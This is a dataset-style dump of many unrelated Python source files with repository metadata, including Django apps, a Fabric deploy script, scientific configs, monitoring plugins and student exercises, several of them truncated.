4ed23754e991aa7060ba6eb0d47ad7a5ae3e4dfc | eb7d96d3c02c36d3c7a4c1714aa04bd3c4fa0906 | /torpedo.py | ac598aaaad211e28e34ce116c421b4612229e1e8 | [] | no_license | dor-roter/asteroids | b7b3a5b483453ac9ff026da799080e782a238bb1 | 34a57bd38ea7021c7bfa6d1317317f49b99a2baa | refs/heads/master | 2020-12-03T16:08:29.395427 | 2020-01-05T16:19:38 | 2020-01-05T16:19:38 | 231,384,169 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,100 | py | ################################################
# File: torpedo.py
# Writer: Asif Kagan, Dor Roter
# Login: asifka, dor.roter
# Exercise: ------
# More:
# Consulted: -----
# Internet:
# Notes:
################################################
from game_object import GameObject
import math
class Torp... | [
"dor.roter.10@gmail.com"
] | dor.roter.10@gmail.com |
7dcb2f9b496fcb6212835db99ece1469a3157641 | ab09e8ad44fdaf7ccd27087d981c21fbdac85c00 | /python_tutor/09_two-dimensional_arrays/swap.py | 80ee53ac75e8f381a2d3eb34c03938e025d46e4c | [
"Apache-2.0"
] | permissive | sunnychemist/pylearn | bf96fc2b9c247c69fbcb9e1927ef0d90ee5994a0 | 29566b75c14f867bd7e8fc19c236e9be4f9f5203 | refs/heads/master | 2022-11-10T03:43:43.825472 | 2020-06-15T23:41:24 | 2020-06-15T23:41:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 356 | py | def swap_columns(a, i, j):
print('start: ')
for row in a:
print(row)
for y in range(len(a[1])):
for x in range(len(a)):
if y == i:
a[x][i], a[x][j] = a[x][j], a[x][i]
print('end: ')
for row in a:
print(row)
swap_columns([[11, 12, 13, 14], [21, 22... | [
"ctatuk@gmail.com"
] | ctatuk@gmail.com |
6cec9f70eb042e0d9c6ea3ff9e3719cc9f63c302 | 1f45d93123c6d40bab4b783670e41d8eb8f6ae6c | /day2-lunch/day2-exercise-2.py | 50125b91217f1636cc04d9e8dffd4051be989316 | [] | no_license | JTdeKay/qbb2018-answers | fd19bf137f92c820fd3ee9c529e7420b256d3105 | 75189fa89b3a356b8abc689e5cc26060256031e2 | refs/heads/master | 2021-07-15T20:32:16.622415 | 2019-01-01T16:02:10 | 2019-01-01T16:02:10 | 146,313,657 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 462 | py | #!/usr/bin/env python3
import sys
if len(sys.argv) > 1:
f = open( sys.argv[1] )
else:
f = sys.stdin
count =0
for i, line in enumerate( f ):
if line[0] == "@":
continue
if "NM:i:0" in line:
count += 1
print(count)
# if count >10:
# break
# fiel... | [
"jdekay1@jhu.edu"
] | jdekay1@jhu.edu |
d2aa6ff19836d34ff0dab5a45d47cf65bd7f3324 | 02802ecfff8639edc093068da740ded8ee8228aa | /test/test_inline_object8.py | 4de4d72fa7c421eec5426415f92be8159709b6ab | [] | no_license | mintproject/data-catalog-client | 0fc406c2063864144a9a995e98724144b43feb66 | 22afd6341e5f66594c88134834d58e4136e4983a | refs/heads/master | 2020-12-08T21:56:02.785671 | 2020-05-13T03:53:51 | 2020-05-13T03:53:51 | 233,105,679 | 1 | 1 | null | 2020-05-13T03:53:53 | 2020-01-10T18:17:55 | Python | UTF-8 | Python | false | false | 873 | py | # coding: utf-8
"""
MINT Data Catalog
API Documentation for MINT Data Catalog # noqa: E501
The version of the OpenAPI document: 1.0.0
Contact: danf@usc.edu
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import datacatalog
from datacata... | [
"maxiosorio@gmail.com"
] | maxiosorio@gmail.com |
c72d3ee6684effa92d2cbf6f72daa15c513d5c2f | 4ce9ee078156d3bac04ddd95b664f7e3a76936c3 | /DjangoApp/admin.py | ad84aa3e6daec96bb72bc33295ab75e2038d5eeb | [] | no_license | rashinanwani/Django-NotesApp | c75d6674da29921243a46eb35dbc6d27e69e87d6 | d3784da6b4824d65927a9142544803a8d6aa8414 | refs/heads/master | 2022-12-28T07:04:54.024809 | 2020-10-18T21:36:35 | 2020-10-18T21:36:35 | 303,507,498 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 440 | py | from django.contrib import admin
from .models import table1
from .models import viewnotes
# Register your models here.
admin.site.register(table1)
admin.site.register(viewnotes)
# Register the admin class with the associated model
# admin.site.register(table2)
# # Define the admin class
# class AuthorAdmin(admin.Mo... | [
"rashi.nanwani2000@gmail.com"
] | rashi.nanwani2000@gmail.com |
2fe12a441312c3fc3ef7a59835ec534a37ad8515 | 82c5f8e65fb60b179e3adcc2c0525d821a5298d2 | /Module 6/01_nodes_create.py | 57312d77edc7cafe6f7c2b68081567fc78f69d11 | [] | no_license | AnnaZhuravleva/Specialist_Python_2 | 6009357ccf694507c6fc93daf69129831639aa8b | fcde1dcc8c70376dc8c6ae8591c50fcb65bac327 | refs/heads/main | 2023-07-10T23:12:16.051455 | 2021-07-29T21:12:07 | 2021-07-29T21:12:07 | 386,949,322 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 746 | py | class Node:
"""
Класс для узла списка. Хранит значение и указатель на следующий узел.
"""
def __init__(self, value=None, next=None):
self.value = value
self.next = next
# Создаем ноды(узлы)
node0 = Node("Иван")
node1 = Node("Алекс")
node2 = Node("Петр")
node3 = Node("Анна"... | [
"noreply@github.com"
] | AnnaZhuravleva.noreply@github.com |
ad162c4e98bd7aa84c852f1952f25d97c3b9fc78 | 6c155ae12169c32ab7027d3cc32c18c1e02f07ac | /question6.py | 9903946fc7a7d586b54cd8e41029cff807d924ff | [] | no_license | fengshixiang/Target-Offer | e067f3baa30bc13f63db6c21c86c7751e8c500e3 | 473fb244099b77348a565e4b513efd8f3c72ef1e | refs/heads/main | 2023-03-24T09:44:21.408827 | 2021-03-14T14:07:39 | 2021-03-14T14:07:39 | 346,281,507 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 437 | py | # -*- coding:utf-8 -*-
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
# 返回从尾部到头部的列表值序列,例如[1,2,3]
def printListFromTailToHead(self, listNode):
# write code here
l = []
while listNode is not None:
l.append(listN... | [
"1150415892@qq.com"
] | 1150415892@qq.com |
c8e9a6df4de37b414ea033965c80120dab0b6e57 | d36975caedab71aaaac26156105afaf59448e445 | /机器人传感系统/2.超声波距离传感器/读取距离数据_RestfulAPI.py | 00db909c44b8986e49e69f50e5f9072b82fad478 | [
"MIT"
] | permissive | mukgong/AI-robot | 3d84b444ac8d1a0cdb061eda19bb9319c9af036e | f89d91b67705878d9e87ae09a35b436495b66707 | refs/heads/master | 2022-12-25T01:07:37.174852 | 2020-10-05T01:44:50 | 2020-10-05T01:44:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 500 | py | import requests
import json
def get_sensor():
sensor_url = "http://127.0.0.1:9090/v1/sensors/ultrasonic"
headers={'Content-Type':'application/json'}
response=requests.get(url=sensor_url, headers=headers)
print (response.content)
res = json.loads(response.content)
if (len(res["data"])>... | [
"960751327@qq.com"
] | 960751327@qq.com |
fe21e112704ef230f20ffef161f404b28e8a20b9 | 45547c76b36446d6e8d29bce24f080ae7656b123 | /enev/Lib/site-packages/PyQt5/uic/port_v2/as_string.py | 556fcc0f61c752c8b57047cb5d5ddc9fb7159932 | [] | no_license | Flionay/PyQt5- | e2a0d53eef6646c7a3140ca63bb6d75429f10703 | 2b2b2b71fffd89207a67a19c81a0ce5315699447 | refs/heads/master | 2020-12-22T21:17:09.440196 | 2020-01-30T14:48:39 | 2020-01-30T14:48:39 | 236,932,533 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,475 | py | #############################################################################
##
## Copyright (c) 2020 Riverbank Computing Limited <info@riverbankcomputing.com>
##
## This file is part of PyQt5.
##
## This file may be used under the terms of the GNU General Public License
## version 3.0 as published by the Fre... | [
"angyi_jq@163.com"
] | angyi_jq@163.com |
4e18bb629d0cf47b38d4f4e6bcbfd8840cd16497 | 84abce44bd0278fa99e9556168290675f399834c | /EcalAlCaRecoProducers/config/reRecoTags/pulseShapeStudy_m100.py | 1130a38c27fbf75c327984fb96b19892b85b5ca7 | [] | no_license | ECALELFS/ECALELF | 7c304c6b544b0f22a4b62cf942f47fa8b58abef0 | 62a046cdf59badfcb6281a72923a0f38fd55e183 | refs/heads/master | 2021-01-23T13:36:31.574985 | 2017-06-22T12:26:28 | 2017-06-22T12:26:28 | 10,385,620 | 1 | 9 | null | 2017-06-30T12:59:05 | 2013-05-30T15:18:55 | C++ | UTF-8 | Python | false | false | 2,240 | py | import FWCore.ParameterSet.Config as cms
from CondCore.DBCommon.CondDBSetup_cfi import *
RerecoGlobalTag = cms.ESSource("PoolDBESSource",
CondDBSetup,
connect = cms.string('frontier://FrontierProd/CMS_CONDITIONS'),
globaltag ... | [
"shervin.nourbakhsh@cern.ch"
] | shervin.nourbakhsh@cern.ch |
28058e366e9d750aaab587835e0cab482b1cfbc9 | 1aa44db2eb5bc0d5be21e54e3ca1f4918d5d84bf | /fabfile/servers.py | 46fd9f14a872917968e1ada16b0b196477e3cc44 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | nprapps/commencement | a2aea873704120aa8249854a1d12798f1a4b1153 | 3f8642225d1910807e6419e95fafd5e0f21fbbac | refs/heads/master | 2021-07-22T00:25:36.353670 | 2021-06-16T22:56:56 | 2021-06-16T22:56:56 | 19,289,147 | 1 | 2 | null | 2015-07-03T22:44:28 | 2014-04-29T19:36:14 | JavaScript | UTF-8 | Python | false | false | 8,460 | py | #!/usr/bin/env python
"""
Commands work with servers. (Hiss, boo.)
"""
import copy
from fabric.api import local, put, settings, require, run, sudo, task
from fabric.state import env
from jinja2 import Template
import app_config
"""
Setup
"""
@task
def setup():
"""
Setup servers for deployment.
This d... | [
"davideads@gmail.com"
] | davideads@gmail.com |
b672d74dc3ade9ca857ed2b97d2a8bc96d25a527 | d78989a8ce52a98f48d77228c4ea893f7aae31f7 | /symbolic_expressions/sample15-virt-bogus-loop-iterations-2.py | 80503fc33404de03c7ff542b5ba14a32feb2dee4 | [] | no_license | llyuer/Tigress_protection | 78ead2cf9979a7b3287175cd812833167d520244 | 77c68c4c949340158b855561726071cfdd82545f | refs/heads/master | 2020-06-17T11:16:40.078433 | 2019-04-16T09:27:29 | 2019-04-16T09:27:29 | 195,908,093 | 1 | 0 | null | 2019-07-09T01:14:06 | 2019-07-09T01:14:06 | null | UTF-8 | Python | false | false | 1,086 | py | #!/usr/bin/env python2
## -*- coding: utf-8 -*-
import sys
def sx(bits, value):
sign_bit = 1 << (bits - 1)
return (value & (sign_bit - 1)) - (value & sign_bit)
SymVar_0 = int(sys.argv[1])
ref_342 = SymVar_0
ref_353 = ref_342 # MOV operation
ref_365 = ref_353 # MOV operation
ref_367 = ref_365 # MOV operation
... | [
"jonathan.salwan@gmail.com"
] | jonathan.salwan@gmail.com |
8e823ccea7c9273bc5229ca6fc751b7284fb8a1b | 469ebcca765fb37ecfc459fcb618b0925e9b9f93 | /cloudera_roles_service_cluster_check.py | a26821c0a6e66254cf4b1ccf5ec84c18a6220aaa | [] | no_license | abha10/cloudera_monitors | b4d55ad18e9d698f90721c730ff5d9afcaa3b3fc | d53b6ece2cff08951925129e7922deac497f3c74 | refs/heads/master | 2020-06-23T23:01:55.243530 | 2019-07-25T07:19:56 | 2019-07-25T07:19:56 | 198,778,986 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,669 | py | #!/usr/bin/python
import ConfigParser, json, time, sys
from cm_api.api_client import ApiResource
from cm_api.endpoints.services import ApiService
# Prep for reading config props from external file
CONFIG = ConfigParser.ConfigParser()
CONFIG.read("/etc/onlinesales/config/configCloudera.ini")
# This is the host that th... | [
"noreply@github.com"
] | abha10.noreply@github.com |
894e55b082cb3914fb996ae8d5cc3b0edd1bb781 | 24706d3bf851a5217b39dbe32b11f4a149f30192 | /ImageNet/networks/model_list/__init__.py | a18f944713b7558d6e360a01fae51399cdaa227d | [] | no_license | MariusAnje/SEU_NNFailure | 23375eb3e262a2915628ef2c872347f81fb860df | 8fadb8f213505eda83ae90abbe1ed9a0233a8fd8 | refs/heads/master | 2020-04-12T17:54:53.665859 | 2018-12-21T04:03:34 | 2018-12-21T04:03:34 | 162,661,885 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 28 | py | from alexnet import alexnet
| [
"jiecaoyu@umich.edu"
] | jiecaoyu@umich.edu |
902f96abdf7d52b75cb5bc40474b9d4d91c7c31e | c8566cf1c90de5ee22fd7a57a07b4c93ea8efbe1 | /code_search/notebooks/general_utils.py | 0560a43a7effbe90c3b076d5bb529d3dba0aa6b7 | [
"MIT",
"Python-2.0"
] | permissive | prasad-adi/deep-code-search-preprocessing | 86de50088c6d7c409b063c8a73c84df4f1a8afcb | 9331566455dbda10a65f67e64ba72c4158c75c61 | refs/heads/master | 2020-05-05T12:43:08.353401 | 2019-04-07T23:53:48 | 2019-04-07T23:53:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,271 | py | import logging
import pickle
from itertools import chain
from math import ceil
from pathlib import Path
from typing import List, Callable, Any
import nmslib
import wget
from more_itertools import chunked
from pathos.multiprocessing import Pool, cpu_count
def save_file_pickle(fname: str, obj: Any):
with open(fnam... | [
"chnsh24@gmail.com"
] | chnsh24@gmail.com |
e5124fdf4ee9e559c3d85652aa15f109ff7c5a64 | ca94248bc112ffb4b877ad7aa1585278c4d94e36 | /project14/urls.py | 934f4139737d3b31110ff97845a9e5bb19134c64 | [] | no_license | madisettydivya/bootstrap | b7d8b8d420da0bcc4dd644971feccf2654e27f18 | 35676ce0d65adfbbb2f69f758c5699cacb25692e | refs/heads/main | 2023-07-13T19:51:19.557914 | 2021-08-24T14:11:42 | 2021-08-24T14:11:42 | 399,489,358 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 964 | py | """project14 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-bas... | [
"madisettysaidivya22@gmail.com"
] | madisettysaidivya22@gmail.com |
23867764f0cc8d30cda919abd564c7282ccb15db | facb8b9155a569b09ba66aefc22564a5bf9cd319 | /wp2/merra_scripts/03_model_fitting/merraRF882/201-tideGauge.py | 52b44422312b41361c88c8c467dad6e7167ae1b9 | [] | no_license | moinabyssinia/modeling-global-storm-surges | 13e69faa8f45a1244a964c5de4e2a5a6c95b2128 | 6e385b2a5f0867df8ceabd155e17ba876779c1bd | refs/heads/master | 2023-06-09T00:40:39.319465 | 2021-06-25T21:00:44 | 2021-06-25T21:00:44 | 229,080,191 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,456 | py | # -*- coding: utf-8 -*-
"""
Created on Mon May 4 15:51:30 2020
This program is designed to validate a Random Forest
model by using the KFOLD method
@author: Michael Tadesse
"""
#import packages
import os
import glob
import numpy as np
import pandas as pd
from sklearn import metrics
from scipy import stats
import se... | [
"michaelg.tadesse@gmail.com"
] | michaelg.tadesse@gmail.com |
5ea7785ad2b75c33ec9508d20347b8ab49ea1b2b | 08832b678fb982e4333d41fe19f8eaa278e988f3 | /src/chess_zero/configs/normal.py | 8c5158c49918366b9e5ae230c7a8d33632d859a0 | [
"MIT"
] | permissive | BenisonSam/chessprime | a8710f03a27e3008960cd9fe3b394ed06a16c10b | a020be8669535016d4a1cc2966c9b04ef20c1112 | refs/heads/master | 2020-03-28T10:42:20.788183 | 2018-09-17T09:12:25 | 2018-09-17T09:12:25 | 148,136,275 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,089 | py | """
Contains the set of configs to use for the "normal" version of the app.
"""
class EvaluateConfig:
def __init__(self):
self.vram_frac = 1.0
self.game_num = 50
self.replace_rate = 0.55
self.play_config = PlayConfig()
self.play_config.simulation_num_per_move = 200
... | [
"benisonsam@hotmail.com"
] | benisonsam@hotmail.com |
a741f54aa2bfa5f22db1890af574ff5b01ac58b0 | 4b46bcb9e3883a57f46d490da424e8d9463ba8aa | /PyFolder/Python_Django/app_integration/apps/appintegrate/models.py | 9f694e3217e40b8ecf4af783c0155140d3aaa317 | [] | no_license | LAdkins81/DojoAssignments | 1752c131454dc6f259d4e84390af218e1a423b50 | 7bc7a92bed72ff37c5d8991e478ffae8fefd82db | refs/heads/master | 2021-01-11T17:53:03.814123 | 2017-05-09T14:58:33 | 2017-05-09T14:58:33 | 79,859,799 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 905 | py | from __future__ import unicode_literals
from django.db import models
from ..courses.models import Course
from ..loginandreg.models import User
from django.db.models import Count
# Create your models here.
class UserCourseManager(models.Manager):
def addUserToCourse(self, object):
user_id = object['users']... | [
"lahell@gmail.com"
] | lahell@gmail.com |
fbac34aabd50a2235d848ef5c7e4c29759c931b6 | 932c4995ce130967d79f2d11045a5768e9e0eae9 | /ccms/models.py | 7a2545967d7da8cf8fbd08acd28eba921c336a40 | [] | no_license | MAHRahat/CCMS-Server | c53cb2448b0feca798ebe75286e0b74edb9716af | 923f5622e6e426d8aa909045e918a08bc094c7d0 | refs/heads/master | 2023-07-05T01:00:27.215293 | 2021-08-21T12:12:52 | 2021-08-21T12:12:52 | 394,878,463 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,086 | py | from django.contrib.auth.models import AbstractUser
from django.db import models
from ccms.managers import CCMSUserManager
class CCMSUser(AbstractUser):
"""
Custom user model for the City Complaints Management System.
"""
user_id = models.AutoField(primary_key=True)
username = None
first_name... | [
"fountaein@yandex.com"
] | fountaein@yandex.com |
ee1909557fe8fdc1337bf5aa9e810d27022883ff | 2e3b9b34e5129213c3c9983b859ab87c8e6d4b09 | /src/inventory/dashboard/views.py | c8a285bbab52cc9296a0f7ffafd3450285696e82 | [] | no_license | BryanGmz/inventory | 7fee12c9150cc47528d7fdd195dc9a43b1629534 | bae5eac056e9821fc8757ac19bb57098455ba0dc | refs/heads/main | 2023-08-19T10:23:09.763323 | 2021-10-26T05:25:52 | 2021-10-26T05:25:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,008 | py | from django.contrib.messages.api import error
from django.shortcuts import render
from datetime import datetime
from django.db.models import Sum
import json
from inventory.clients.models import ProductSale, Sale
# Create your views here.
def FirstDayOfMonth():
return datetime.today().replace(day=1).replace(hour=00... | [
"jmateo.cys@gmail.com"
] | jmateo.cys@gmail.com |
000bc01dc5ca748102e823a1e0462832615627a0 | 411c6b248cec9388a6424cf50f7d518f3d4d3b52 | /Forum/TestAPI/post/PostDetail.py | 75ad937b7e16647021500b974b7e3c5557740e41 | [] | no_license | ArturAmbartsumov/DBProject | cc44017bdc49eb13aee424bce2d2cfda4d9ba263 | 12f58c51d02fc181fe5b09203430e6503ab8de46 | refs/heads/master | 2021-01-20T06:27:43.399475 | 2014-07-06T01:12:52 | 2014-07-06T01:12:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 224 | py | import json
import requests
payload = {'related': ['user', 'forum', 'thread'], 'post': '6'}
url = 'http://127.0.0.1:8000/post/details/'
r = requests.get(url, params = payload)
print r.status_code
#print r.text
print r.json() | [
"Artur_pskov@mail.ru"
] | Artur_pskov@mail.ru |
e82a53d75ae0617ec841adac5d5a66b3bdd1931e | 3edec2ab1fe22a5aa8a72583597c3797200b5420 | /plugins/Check_SANtricity_Volume_Status_BYCON.py | 5c560cb99dd103794383679353bfdb96548054e2 | [] | no_license | dupondje/netapp_santricity_nagios | 42adfea65ca495fbee8adcbe5d4063c36d083788 | 8ab202ea01893457b5211ee2b69248362bb5e516 | refs/heads/master | 2022-04-30T19:30:18.976906 | 2017-07-13T09:36:26 | 2017-07-13T09:36:26 | 97,102,738 | 4 | 1 | null | 2022-03-22T09:51:44 | 2017-07-13T09:04:55 | Python | UTF-8 | Python | false | false | 12,653 | py | #!/usr/bin/python
# Copyright 2015 NetApp Inc. All rights reserved.
import sys
import csv
import logging
import SANtricityStorage
from logging.handlers import RotatingFileHandler
serverUrl = "https://10.0.1.30:8443"
mode = ""
listMode = {"RIOP": "readIOps", "WIOP": "writeIOps", "RLAT": "readResponseTime", "WLAT": "w... | [
"jean-louis@dupond.be"
] | jean-louis@dupond.be |
c2c55f13363e0c2423791f7715fdf6adfb225420 | ee51f91d1ee883fd84b36c10b97c3dcee8f6f7fa | /ProTwo/AppTwo/urls.py | fadd7f64a272d643b8bdc7edd804ab26c382fa4f | [
"MIT"
] | permissive | imrk97/Learning_django | 4d27e7d28266383d925b5da87fda39d6ec0ec277 | 6f19dc1c69846feda67cccc82269f0aa70f911bc | refs/heads/master | 2020-05-03T09:44:28.887089 | 2019-04-06T16:55:05 | 2019-04-06T16:55:05 | 178,562,214 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 152 | py |
from django.urls import path
from AppTwo import views
urlpatterns = [
path('',views.index,name='anything'),
#path('admin/', admin.site.urls),
] | [
"rohankarmakar97@gmail.com"
] | rohankarmakar97@gmail.com |
ddc08f166cdff4d09ae577eaf421b63c77c68970 | 2d3953d18f08b17851721a9622182f563295cb1d | /channelshowdown/userprofile/migrations/0012_auto_20180328_1645.py | d231a56f23499ecc5159b9980b39a53ed613e124 | [
"MIT"
] | permissive | channelfix/cshowdown-backend | b399a350755bbb9520103568a70ca1e2a1871397 | 4225ad4f2bd56112f627e6fe1f26c281484d804e | refs/heads/master | 2022-12-10T10:22:35.987518 | 2018-08-29T02:50:02 | 2018-08-29T02:50:02 | 122,010,350 | 0 | 0 | MIT | 2022-12-08T00:56:24 | 2018-02-19T02:19:02 | JavaScript | UTF-8 | Python | false | false | 501 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.10 on 2018-03-28 16:45
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('userprofile', '0011_auto_20180328_1240'),
]
operations = [
migrations.Alte... | [
"arranbaleva@gmail.com"
] | arranbaleva@gmail.com |
57968c4b0079829bed20ff53911d5d768715b9fd | 7798c5171e4f63b40e9a2d9ae16f4e0f60855885 | /manage.py | b3a505230aac16ae6ce9859ed552d3f4d09d2d80 | [] | no_license | mstepniowski/wffplanner | d2d5ddd2938bd2b7b294332dad0d24fa63c2700a | 62d1d00ca9a546b759e5c394c7a9da06484a7aa3 | refs/heads/master | 2020-05-20T06:04:22.413395 | 2015-10-01T16:12:48 | 2015-10-01T16:12:48 | 6,033,243 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 256 | py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "wffplanner.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| [
"marek@stepniowski.com"
] | marek@stepniowski.com |
76e2f983d191d20cb046d3673dce23b0cfb5febc | d3e265b206cc1ae7c13470e70248d397a10f3b57 | /selenium_codes/fp_changep-4.py | 539542c9d12f34b45ea30875df2a55b0c4b59f93 | [] | no_license | aishwar18/Profile-Builder | 2b30dbc2dd2808a45305c0fda5d5e7eb468b427d | 01e1260fe5392046404457f90176cb5214076231 | refs/heads/main | 2023-06-01T23:33:30.986554 | 2021-06-18T12:03:45 | 2021-06-18T12:03:45 | 340,952,643 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,690 | py | #forgot password change password having password mismatch
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait
PATH="C:\Program Files (x86)\chromedriver.... | [
"noreply@github.com"
] | aishwar18.noreply@github.com |
78a434798c5ff1b702e86b60098a0df79508e712 | ecafb17f9b2cbd37fb223743f47ba130b0977914 | /pyesst/chapter5.py | effd23dae191ad2f0bdd8fbbec8ccc4e928f260f | [] | no_license | modevops/python_practice | 0088d322230932e3562f48edeadd87dd1f517332 | 67d2845df46e6815ac052ac935868cdd29ac681d | refs/heads/master | 2022-04-18T17:00:13.013226 | 2020-04-10T14:08:40 | 2020-04-10T14:08:40 | 254,648,456 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 207 | py | #!/usr/bin/env python3
# Copyright 2009-2017 BHG http://bw.org/
x = 0x0a
y = 0x02
z = x & y
print(f'(hex) x is {x:02x}, y is {y:02x}, z is {z:02x}')
print(f'(bin) x is {x:08b}, y is {y:08b}, z is {z:08b}') | [
"modevops@Marcuss-MacBook-Pro.local"
] | modevops@Marcuss-MacBook-Pro.local |
db7a73788447c9b2c49c39cac65eef68a35a17fd | 131bd461db24a7a18397f0755019f50fdb938d51 | /Tugas/differensiasi numerik/selisih tengah.py | 8c2ae498e994e9f59552de1762925e3d755f1f90 | [] | no_license | sasaputra/MetodeNumerikGanjil-21-22 | f4ef309eee7c53a8adc21998f3a5df4c281b70d4 | f5be7d7857d2b182e4f597ce92d66a14c247a325 | refs/heads/main | 2023-08-13T03:52:49.782526 | 2021-10-15T01:27:48 | 2021-10-15T01:27:48 | 402,184,720 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 385 | py | import numpy as np
import math
def f(x):
return(np.exp(-x)*math.sin(2*x) + 1)
def turunan(x0,h):
step = 1
condition = true
x0 = 1
h = 0.1
err = 1000
dfxold = 1000
while err>=0.00001:
dfx = (f(x0+h)-f(x0-h)/2*h)
err = abs(dfxold -dfx)
dfxold=dfx
h = h/2
print ("the c... | [
"noreply@github.com"
] | sasaputra.noreply@github.com |
f33cadde9c67f29e40284675b8066ac3dd49004f | 521b0719fa42009207b5080b4a3b075c8ff157a0 | /application/species/forms.py | 81c194b9c071a55385f8039849440c9a5e97e565 | [] | no_license | teemuoksanen/lintuhavainnot | 41e0e970e5a534374777926fb055640f2a6351a9 | 170fc08f07e724f3caa85de7b7df72ad200b995c | refs/heads/master | 2022-10-04T15:49:16.288249 | 2020-06-08T13:01:07 | 2020-06-08T13:01:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,360 | py | from flask_wtf import FlaskForm
from wtforms import StringField, TextAreaField, SelectField, validators
conservChoices = [(1, "Elinvoimainen"), (2, "Silmälläpidettävä"),
(3, "Vaarantunut"), (4, "Erittäin uhanalainen"), (5, "Äärimmäisen uhanalainen")]
class SpeciesCreationForm(FlaskForm):
name = StringField("Laji... | [
"sonja.t.heikkinen@hotmail.com"
] | sonja.t.heikkinen@hotmail.com |
945d9d0dbf297f3e00334a032fd8cd7922a9654e | 6cd87462fd9b5ee575aee281f6d2e4be5391ea92 | /apps/twitter/admin.py | f4524da329c2671ab002a1df4a319053a229dfa3 | [] | no_license | mo-mughrabi/djsocial | 912413574fd7ce943387dbd5744f05ec8ca57f48 | 060c0a8e0db848879dfaeb4c6f44f1dba7a39aea | refs/heads/master | 2016-09-16T10:46:05.853935 | 2014-03-13T19:14:41 | 2014-03-13T19:14:41 | 16,213,862 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | # -*- coding: utf-8 -*-
from django.contrib import admin
from models import Twitter, ScheduleOrder, Order
class TwitterAdmin(admin.ModelAdmin):
list_display = ('user', 'tid', 'screen_name','followers_sum', 'following_sum')
# Now register the new TwitterAdmin...
admin.site.register(Twitter, TwitterAdmin)
class Sc... | [
"="
] | = |
1a0e819271efbd2f4c12221045d0550048b59bcb | abee40ec5a102a045ac90c8f539868f328d3bc95 | /3-chapter/maitreD'.py | 9f602684cc9512b408afa533ae09edb41c6c7fd0 | [] | no_license | annabalan/pythonFAB | 4ac3ef3d90c98bf939593fd4b0d4dc8fea6d07a0 | 659646c0be2e5a97242cdb1b59942699095177e4 | refs/heads/master | 2021-01-21T16:04:19.025196 | 2018-06-05T05:35:47 | 2018-06-05T05:35:47 | 95,396,861 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 401 | py | # Maitre D'
# Demonstrates interpeting any value as a condition (True or False)
print("Welcome to the Chateau D' Food")
print("It seems we are quite full this evening.\n")
money = int(input("How many dollars do you slip the Maitre D'? "))
if money:
print("Ah, I am reminded of a table, Right this way.")
else:
pri... | [
"colnyshkasmile@gmail.com"
] | colnyshkasmile@gmail.com |
4a2d4fecf255307e71b25519413f146f1bdacfd9 | 56b36ddf920b5f43e922cb84e8f420f1ad91a889 | /Leetcode/Leetcode - Premium/Mock Interview/isSubsequence.py | 053496e29b0e65f9a467defbd48dcafc83eb967e | [] | no_license | chithien0909/Competitive-Programming | 9ede2072e85d696ccf143118b17638bef9fdc07c | 1262024a99b34547a3556c54427b86b243594e3c | refs/heads/master | 2022-07-23T16:47:16.566430 | 2020-05-12T08:44:30 | 2020-05-12T08:44:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,279 | py | """
Given a string s and a string t, check if s is subsequence of t.
You may assume that there is only lower case English letters in both s and t. t is potentially a very long (length ~= 500,000) string, and s is a short string (<=100).
A subsequence of a string is a new string which is formed from the original strin... | [
"ntle1@pipeline.sbcc.edu"
] | ntle1@pipeline.sbcc.edu |
62b02423e22f441caad82e24c1757d28909767d9 | 73dd4cd6e08c09242e5a486dce03ef37a1160e83 | /create_general_model5.py | bd4f7500a188c675303ae43b1f0875fb7006b9a6 | [] | no_license | zhangfeiyang/mm-trigger2 | 8d429344bbfdf01bd278eb426117b55650c2ec5e | 2b99cc03a61c828a0f0ed7c6298e4074af5462e0 | refs/heads/master | 2020-06-02T13:56:38.789337 | 2019-06-11T14:09:41 | 2019-06-11T14:09:41 | 191,178,295 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,068 | py | #!/usr/bin/python3
import tensorflow as tf
from tensorflow import keras
# Helper libraries
import numpy as np
#import matplotlib.pyplot as plt
from tensorflow.keras.models import Model
